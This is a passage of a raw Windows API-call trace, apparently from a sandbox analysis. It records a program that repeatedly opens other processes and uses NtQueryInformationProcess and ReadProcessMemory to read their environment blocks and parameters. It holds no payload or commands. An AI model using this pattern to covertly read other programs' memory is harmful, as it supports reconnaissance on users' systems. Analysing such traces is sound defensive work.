lpBaseAddress=0x46198c, lpBuffer=0x196ef0d4f30, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0173.994] free (_Block=0x196ef0d4f30) [0173.994] CloseHandle (hObject=0x26c) returned 1 [0173.995] _ui64tow_s (in: _Value=0x10b0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4272") returned 0x0 [0174.000] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4272") returned 4 [0174.002] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0174.002] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0174.179] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b0) returned 0x26c [0174.179] GetLastError () returned 0x0 [0174.179] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0174.179] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x256018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0174.179] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0174.179] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x491e40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0174.179] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4919f8, lpBuffer=0x670ffc3f0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0174.180] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0174.182] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0174.182] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x256020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0174.182] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4913e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0174.182] malloc (_Size=0xbc) returned 0x196ef0d67b0 [0174.182] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x491a64, lpBuffer=0x196ef0d67b0, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d67b0*, lpNumberOfBytesRead=0x0) returned 1 [0174.183] free (_Block=0x196ef0d67b0) [0174.185] CloseHandle (hObject=0x26c) returned 1 [0174.185] _ui64tow_s (in: _Value=0x1120, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4384") returned 0x0 [0174.198] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4384") returned 4 [0174.200] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0174.200] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0174.219] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1120) returned 0x26c [0174.219] GetLastError () returned 0x0 [0174.219] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0174.219] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x670db0018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0174.219] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0174.219] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x196ee761bd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0174.219] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x196ee761818, lpBuffer=0x670ffc3f0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0174.220] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0174.221] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0174.221] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x670db0020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0174.222] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x196ee761200, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0174.222] malloc (_Size=0x76) returned 0x196ef0d2120 [0174.554] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x196ee761864, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0174.555] free (_Block=0x196ef0d2120) [0174.556] CloseHandle (hObject=0x26c) returned 1 [0174.557] _ui64tow_s (in: _Value=0x1288, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4744") returned 0x0 [0174.561] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4744") returned 4 [0174.562] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0174.562] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0174.580] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1288) returned 0x26c [0174.580] GetLastError () returned 0x0 [0174.580] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0174.580] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3c03a9a018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0174.580] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0174.580] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x20518e21c60, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0174.581] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x20518e218c8, lpBuffer=0x670ffc3f0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0174.583] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0174.584] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0174.584] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3c03a9a020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0174.584] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x20518e212b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0174.585] malloc (_Size=0x54) returned 0x196ef0d57e0 [0174.585] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x20518e21910, lpBuffer=0x196ef0d57e0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d57e0*, lpNumberOfBytesRead=0x0) returned 1 [0174.585] free (_Block=0x196ef0d57e0) [0174.586] CloseHandle (hObject=0x26c) returned 1 [0174.587] _ui64tow_s (in: _Value=0x13dc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="5084") returned 0x0 [0174.591] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="5084") returned 4 [0174.592] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0174.592] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0174.775] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13dc) returned 0x0 [0174.775] CloseHandle (hObject=0x0) returned 0 [0174.776] _ui64tow_s (in: _Value=0x1334, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4916") returned 0x0 [0174.781] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4916") returned 4 [0174.782] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0174.782] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0174.799] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1334) returned 0x26c [0174.799] GetLastError () returned 0x0 [0174.799] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0174.799] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x239018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0174.799] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0174.799] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x561cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0174.800] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5618c8, lpBuffer=0x670ffc3f0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0174.956] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0174.957] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0174.957] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x239020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0174.957] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5612b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0174.958] malloc (_Size=0x78) returned 0x196ef0d2120 [0174.958] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x56193a, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0174.959] free (_Block=0x196ef0d2120) [0174.960] CloseHandle (hObject=0x26c) returned 1 [0174.960] _ui64tow_s (in: _Value=0xac8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2760") returned 0x0 [0174.964] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2760") returned 4 [0174.965] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0174.965] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0174.981] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xac8) returned 0x26c [0174.981] GetLastError () returned 0x0 [0174.981] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0174.981] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x34e018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0174.982] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0174.982] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x461c50, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0174.982] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4618c8, lpBuffer=0x670ffc3f0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0174.983] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0174.984] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0174.984] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x34e020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0174.984] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4612b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0174.984] malloc (_Size=0x48) returned 0x196ef0cc850 [0174.985] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x46190e, lpBuffer=0x196ef0cc850, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0cc850*, lpNumberOfBytesRead=0x0) returned 1 [0174.985] free (_Block=0x196ef0cc850) [0174.986] CloseHandle (hObject=0x26c) returned 1 [0174.987] _ui64tow_s (in: _Value=0x1344, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0175.099] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4932") returned 4 [0175.100] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0175.100] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0175.116] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0x26c [0175.116] GetLastError () returned 0x0 [0175.117] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0175.117] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x63c018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0175.117] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0175.117] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x181c40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0175.117] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1818c8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0175.119] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0175.121] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0175.121] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x63c020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0175.121] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1812b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0175.121] malloc (_Size=0x42) returned 0x196ef0ccda0 [0175.121] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x181908, lpBuffer=0x196ef0ccda0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0ccda0*, lpNumberOfBytesRead=0x0) returned 1 [0175.122] free (_Block=0x196ef0ccda0) [0175.123] CloseHandle (hObject=0x26c) returned 1 [0175.124] _ui64tow_s (in: _Value=0x3e4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="996") returned 0x0 [0175.241] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="996") returned 3 [0175.242] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0175.242] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0175.258] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3e4) returned 0x26c [0175.258] GetLastError () returned 0x0 [0175.258] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0175.258] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x6c4018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0175.258] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0175.258] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x9b1d40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0175.259] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x9b18c8, lpBuffer=0x670ffc3f0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0175.260] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0175.261] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0175.261] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x6c4020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0175.261] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x9b12b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0175.261] malloc (_Size=0x9c) returned 0x196ef0d4f30 [0175.261] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x9b195e, lpBuffer=0x196ef0d4f30, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0175.262] free (_Block=0x196ef0d4f30) [0175.263] CloseHandle (hObject=0x26c) returned 1 [0175.264] _ui64tow_s (in: _Value=0xc10, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3088") returned 0x0 [0175.268] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3088") returned 4 [0175.269] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0175.269] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0175.284] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc10) returned 0x26c [0175.284] GetLastError () returned 0x0 [0175.285] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0175.285] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x247018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0175.285] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 